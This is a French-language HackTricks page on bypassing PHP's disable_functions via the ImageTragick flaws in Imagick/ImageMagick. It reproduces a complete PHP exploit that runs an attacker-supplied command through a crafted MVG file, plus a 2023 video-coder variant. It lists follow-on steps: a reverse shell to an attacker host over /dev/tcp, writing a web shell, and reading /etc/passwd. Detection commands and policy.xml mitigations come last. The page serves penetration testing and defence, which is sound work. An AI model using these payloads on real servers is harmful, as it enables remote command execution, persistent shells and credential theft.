Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
La famille de bugs bien connue ImageTragick (CVE-2016-3714 et al.) permet à un attaquant d'accéder au binaire sous-jacent ImageMagick via des entrées MVG/SVG conçues. Lorsque l'extension PHP Imagick est présente, cela peut être exploité pour exécuter des commandes shell même si toutes les fonctions PHP orientées exécution sont mises sur liste noire avec
disable_functions
.Le PoC original publié par RicterZ (Chaitin Security Research Lab) en mai 2016 est reproduit ci-dessous. La technique est encore régulièrement rencontrée lors des audits contemporains de PHP 7/8 car de nombreux fournisseurs d'hébergement partagé compilent simplement PHP sans
exec
/system
mais conservent une combinaison Imagick + ImageMagick obsolète.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
Pourquoi cela fonctionne-t-il ?
Imagick::readImage()
lance de manière transparente le binaire delegate ImageMagick (convert
/magick
).- Le script MVG définit le fill sur une URI externe. Lorsqu'une double citation (
"
) est injectée, le reste de la ligne est interprété par/bin/sh ‑c
que ImageMagick utilise en interne → exécution de shell arbitraire. - Tout se passe en dehors de l'interpréteur PHP, donc
disable_functions
, open_basedir,safe_mode
(supprimé dans PHP 5.4) et d'autres restrictions similaires en cours de traitement sont complètement contournées.
État de 2025 – c'est toujours pertinent
- Toute version d'Imagick qui repose sur un backend ImageMagick vulnérable reste exploitable. Dans des tests en laboratoire, la même charge utile fonctionne sur PHP 8.3 avec Imagick 3.7.0 et ImageMagick 7.1.0-51 compilé sans un
policy.xml
durci. - Depuis 2020, plusieurs vecteurs d'injection de commandes supplémentaires ont été trouvés (
video:pixel-format
,ps:
,text:
coders…). Deux exemples publics récents sont : - CVE-2020-29599 – injection de shell via le coder text:.
- GitHub issue #6338 (2023) – injection dans le video: delegate.
Si le système d'exploitation fournit ImageMagick < 7.1.1-11 (ou 6.x < 6.9.12-73) sans un fichier de politique restrictif, l'exploitation est simple.
Variantes modernes de charge utile
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
Autres primitives utiles lors des CTF / engagements réels :
- Écriture de fichier –
... > /var/www/html/shell.php
(écrire un web-shell en dehors de open_basedir) - Reverse shell –
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
- Énumérer –
id; uname -a; cat /etc/passwd
Détection rapide & énumération
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
Si la sortie montre que les codeurs MVG
ou URL
sont activés, la cible est probablement exploitable.
Atténuations
- Patch/Mise à jour – Utilisez ImageMagick ≥ 7.1.1-11 (ou la dernière version 6.x LTS) et Imagick ≥ 3.7.2.
- Renforcez
policy.xml
– désactivez explicitement les codeurs à haut risque :
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
- Supprimez l'extension dans des environnements d'hébergement non fiables. Dans la plupart des piles web,
GD
ouImagick
n'est pas strictement nécessaire. - Traitez
disable_functions
uniquement comme une défense en profondeur – jamais comme un mécanisme de bac à sable principal.
Références
- GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)
- CVE-2020-29599 – ImageMagick shell injection via text: coder
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.